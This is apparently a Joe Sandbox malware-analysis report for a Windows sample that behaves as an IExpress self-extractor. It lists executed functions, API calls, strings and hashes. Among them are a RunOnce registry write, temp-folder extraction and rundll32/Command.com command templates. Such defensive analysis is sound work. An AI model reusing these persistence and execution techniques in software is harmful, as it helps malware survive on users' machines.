Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 1696cb6340659cf6862b592f7dc3ce286c7a53ca2da84762d8a39f8f0d48cfa0
Instruction ID: fd7705890db183fb1595eece1189b39d6e04f0e999dd17e0ddc14483124918f4
Opcode Fuzzy Hash: 1696cb6340659cf6862b592f7dc3ce286c7a53ca2da84762d8a39f8f0d48cfa0
Instruction Fuzzy Hash: 13F028325081507FE7321B288C888BBBF9CCF87358B2E01AFE49183001D7250D06D7E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A69B0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 009A6FBE: GetModuleHandleW.KERNEL32(00000000), ref: 009A6FC5

__set_app_type.MSVCRT ref: 009A69C2
__p__fmode.MSVCRT ref: 009A69D8
__p__commode.MSVCRT ref: 009A69E6
__setusermatherr.MSVCRT ref: 009A6A07

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: dd79c0753e060876c30c719c62d31d9a8a090ed1de97ae62c2269fb70198b4b2
Instruction ID: 4ef2399affaf49bffc8e36bab4946c5b3c5b8bd655fd21f939b752c670f78a35
Opcode Fuzzy Hash: dd79c0753e060876c30c719c62d31d9a8a090ed1de97ae62c2269fb70198b4b2
Instruction Fuzzy Hash: 62F0DF7052C3019FC658AB74ED0A71A7BA1FF87321B110609E862862E0CF3A8561EA91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: v5523814.exePID: 6520, Parent PID: 6504COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	969
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00AF3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00AF3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00AF3CDC

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00AF8C42), ref: 00AF3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00AF3E26
FreeLibrary.KERNEL32(00000000,?,00AF8C42), ref: 00AF3EFF
LocalFree.KERNEL32(?,?,?,?,00AF8C42), ref: 00AF3F1F
FreeLibrary.KERNEL32(00000000,?,00AF8C42), ref: 00AF3F40
LocalFree.KERNEL32(?,?,?,?,00AF8C42), ref: 00AF3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00AF8C42), ref: 00AF3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00AF8C42), ref: 00AF3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00AF8C42), ref: 00AF3FC2

Strings

POSTRUNPROGRAM, xrefs: 00AF3D60
no230, xrefs: 00AF3E68
<None>, xrefs: 00AF3CC9, 00AF3D7D
DoInfInstall, xrefs: 00AF3E1F, 00AF3E24, 00AF3F68
REBOOT, xrefs: 00AF3BE2
advpack.dll, xrefs: 00AF3F9D
RUNPROGRAM, xrefs: 00AF3D05
D, xrefs: 00AF3C19
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF3E74
SHOWWINDOW, xrefs: 00AF3C34
ADMQCMD, xrefs: 00AF3C9E
USRQCMD, xrefs: 00AF3CAD

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$no230
API String ID: 1032054927-1078117351
Opcode ID: 5a61d520016014b0d781d08e1336158b1740474d444a00619081deca448189bf
Instruction ID: 1d0a531c23c623a62bb421b59fba3e0c83c64e901cb7ffb9d616cdddf43ecdce
Opcode Fuzzy Hash: 5a61d520016014b0d781d08e1336158b1740474d444a00619081deca448189bf
Instruction Fuzzy Hash: 39B1F1726083099BDB30EFE4C945B7BB6E4EB84740F10092DFB85D6290EB758A46CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00AF1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,?,00000000,00000001,00000000), ref: 00AF1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,?,00000000,00000001,00000000), ref: 00AF1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,?,00000000,00000001,00000000), ref: 00AF1C57
GetPrivateProfileIntA.KERNEL32 ref: 00AF1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00AF1140,00000000,00000008,?), ref: 00AF1CB8
GetShortPathNameA.KERNEL32 ref: 00AF1D1B

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Strings

setupx.dll, xrefs: 00AF1D14
.INF, xrefs: 00AF1BDB
Version, xrefs: 00AF1CB3
DefaultInstall, xrefs: 00AF1C74, 00AF1C87, 00AF1CCE, 00AF1CD3, 00AF1D2D, 00AF1D39
AdvancedINF, xrefs: 00AF1CAE
", xrefs: 00AF1B25
Command.com /c %s, xrefs: 00AF1D9B, 00AF1DE8
setupapi.dll, xrefs: 00AF1D23, 00AF1D3A
.BAT, xrefs: 00AF1D83
Reboot, xrefs: 00AF1C82
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF1BA0
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00AF1D3B

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-852641736
Opcode ID: 7cd6d34bcd9d8a5d56a3618297416d3f7570af8499e5ddb03ae5a95ba32ed5fd
Instruction ID: 453dbdb7cec98e890da2ebb42b5adfa3f65ae93c873d3aaef4f9f8ba8d4fa55e
Opcode Fuzzy Hash: 7cd6d34bcd9d8a5d56a3618297416d3f7570af8499e5ddb03ae5a95ba32ed5fd
Instruction Fuzzy Hash: A8A1F4B0A0021CEBEB209BE4CC44BFA7769EB51350F140699F755A32D1DBB19E86CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00AF2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00AF2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00AF2FC6
DecryptFileA.ADVAPI32 ref: 00AF2FE6
FreeLibrary.KERNEL32(00000000), ref: 00AF2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00AF301C

Part of subcall function 00AF51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00AF2F4D,?,00000002,00000000), ref: 00AF5201

Strings

DecryptFileA, xrefs: 00AF2FC0
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF2FDB, 00AF3017
advapi32.dll, xrefs: 00AF2F99

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-2099937843
Opcode ID: abe6a878aee44c5d97350e88311f6f15249addb19d96bc28db47ab7c095a3892
Instruction ID: d7793197b6fdbf53b264a7b794494cef4025a6b18e5ae9a7c80f1a58490fbf9e
Opcode Fuzzy Hash: abe6a878aee44c5d97350e88311f6f15249addb19d96bc28db47ab7c095a3892
Instruction Fuzzy Hash: 2F416232A1020D9ADF30FBF5AD4577677A8DB54790F000166BB45C2191EF75CE82CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,00AF8A3A,00AF11F4,00AF8A3A,00000000,?,?), ref: 00AF23F6
lstrcmpA.KERNEL32(?,00AF11F8), ref: 00AF2427
lstrcmpA.KERNEL32(?,00AF11FC), ref: 00AF243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00AF2495
DeleteFileA.KERNEL32(?), ref: 00AF24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00AF24AF
FindClose.KERNELBASE(00000000), ref: 00AF24BE
RemoveDirectoryA.KERNELBASE(00AF8A3A), ref: 00AF24C5

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 1e297e141b2cd6fea6676c750025154db85f0f58027c2ea75b6bcce5955caef9
Instruction ID: dbdd4d47ee98d03702434fc5e52b9f96945d6b554a07b4fb7b5b5ec2bb888f57
Opcode Fuzzy Hash: 1e297e141b2cd6fea6676c750025154db85f0f58027c2ea75b6bcce5955caef9
Instruction Fuzzy Hash: 27319071204648EBC320EBE4DD89BFB73ACAFD4306F04492DB699C6290EF749909C752

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00AF6BB0,00AF0000,00000000,00000002,0000000A), ref: 00AF2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00AF6BB0,00AF0000,00000000,00000002,0000000A), ref: 00AF2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00AF2C28
CloseHandle.KERNEL32(00000000,?,?,00AF6BB0,00AF0000,00000000,00000002,0000000A), ref: 00AF2C98

Strings

Kernel32.dll, xrefs: 00AF2C13
HeapSetInformation, xrefs: 00AF2C22

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 4086d169a241cbf8b3bc498a676108b4f947168cfb0289b561796c65b73d6ad3
Instruction ID: d34ed1edc694629f94dd62a92ba064eeb8917c26803e82b856545fd9b2e2677d
Opcode Fuzzy Hash: 4086d169a241cbf8b3bc498a676108b4f947168cfb0289b561796c65b73d6ad3
Instruction Fuzzy Hash: DC11CE7120030DABD720ABF5AD8ABBF3769AB88391B060125FB05D3251DA31DC03C765

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6F40 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00AF6F45

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4957cb23103f5344f09b608774169f442ccfbfaccb643b287c4676c258ee8400
Instruction ID: eb8fd94f0bfbd59f589c9408cf4731c4c898876ccaed660f0104fbd961fb9407
Opcode Fuzzy Hash: 4957cb23103f5344f09b608774169f442ccfbfaccb643b287c4676c258ee8400
Instruction Fuzzy Hash: B59002A52511045797105BF0DD1947575916A5D642B825960B115C4494DB6040419516

Uniqueness

Uniqueness Score: -1.00%

Function 00AF202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00AF2050
memset.MSVCRT ref: 00AF205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00AF208C

Part of subcall function 00AF171E: _vsnprintf.MSVCRT ref: 00AF1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup2,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF20C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF20EA
GetSystemDirectoryA.KERNEL32 ref: 00AF2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00AF2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF2144
GetSystemDirectoryA.KERNEL32 ref: 00AF215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF21C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup2,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00AF223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AF2250

Strings

DelNodeRunDLL32, xrefs: 00AF212E
advpack.dll, xrefs: 00AF2109
%s /D:%s, xrefs: 00AF21FF, 00AF2210
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00AF2082
wextract_cleanup2, xrefs: 00AF20A5, 00AF20BE, 00AF20F0, 00AF2232
wextract_cleanup%d, xrefs: 00AF209E
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF21A8, 00AF2204
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00AF21F6

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup2
API String ID: 178549006-2699677747
Opcode ID: 0c3da390be6cd83ee235cf60a87280b9bf6a25ca0dd77d759738a98220551949
Instruction ID: b87fc49701895668b36e85a49660def1e1d135b4f23dcc30cfcf8118d9915e86
Opcode Fuzzy Hash: 0c3da390be6cd83ee235cf60a87280b9bf6a25ca0dd77d759738a98220551949
Instruction Fuzzy Hash: EB51C3B1A0021CABDB209BE0DC49FFA7778EB54740F0042A8BB49A6151DE759E4ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 00AF55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00AF55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00AF5638
LocalFree.KERNEL32(00000000), ref: 00AF564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00AF5620

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Part of subcall function 00AF6285: GetLastError.KERNEL32(00AF5BBC), ref: 00AF6285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00AF56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00AF571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00AF5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00AF57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00AF57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00AF5802

Part of subcall function 00AF2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00AF2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00AF5830

Part of subcall function 00AF6517: FindResourceA.KERNEL32(00AF0000,000007D6,00000005), ref: 00AF652A
Part of subcall function 00AF6517: LoadResource.KERNEL32(00AF0000,00000000,?,?,00AF2EE8,00000000,00AF19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00AF6538
Part of subcall function 00AF6517: DialogBoxIndirectParamA.USER32(00AF0000,00000000,00000547,00AF19E0,00000000), ref: 00AF6557
Part of subcall function 00AF6517: FreeResource.KERNEL32(00000000,?,?,00AF2EE8,00000000,00AF19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00AF6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00AF5878

Part of subcall function 00AF597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00AF59A8
Part of subcall function 00AF597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00AF59AF

Strings

msdownld.tmp, xrefs: 00AF57D3
Z, xrefs: 00AF570A
<None>, xrefs: 00AF5632
RUNPROGRAM, xrefs: 00AF55BD, 00AF5600
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF56AE, 00AF56B3, 00AF583D
A:\, xrefs: 00AF56F4

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-2610921595
Opcode ID: 32bc51042d4044cac3aec3169bd6730c96bec6a3ec1b983b7d9c9fba29f4becb
Instruction ID: ba495fb45806225f65f243c0451473a56a252a1b4c9762a9c5dc772ec0c45ea5
Opcode Fuzzy Hash: 32bc51042d4044cac3aec3169bd6730c96bec6a3ec1b983b7d9c9fba29f4becb
Instruction Fuzzy Hash: 3F8129B0E04A0C9BDB60ABF49D85BFB72AD9F64340F040565F786E2191EF748DC2CA54

Uniqueness

Uniqueness Score: -1.00%

Function 00AF597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00AF59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00AF59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00AF5A13
MulDiv.KERNEL32(?,?,00000400), ref: 00AF5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00AF5A64
memset.MSVCRT ref: 00AF5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00AF5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00AF5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00AF5BFC

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Part of subcall function 00AF6285: GetLastError.KERNEL32(00AF5BBC), ref: 00AF6285

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: e57335077108ff434ea58d7987fd39247609257e652a3071746549f71ace98ae
Instruction ID: d860be55f20de8e85338d4381553215aac5e69722905e86363d2ed9f128a7f28
Opcode Fuzzy Hash: e57335077108ff434ea58d7987fd39247609257e652a3071746549f71ace98ae
Instruction Fuzzy Hash: 77716EB190060CABEB25DBE0DD85BFB77ACEB48340F5441A9F646D6140EA349E86CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
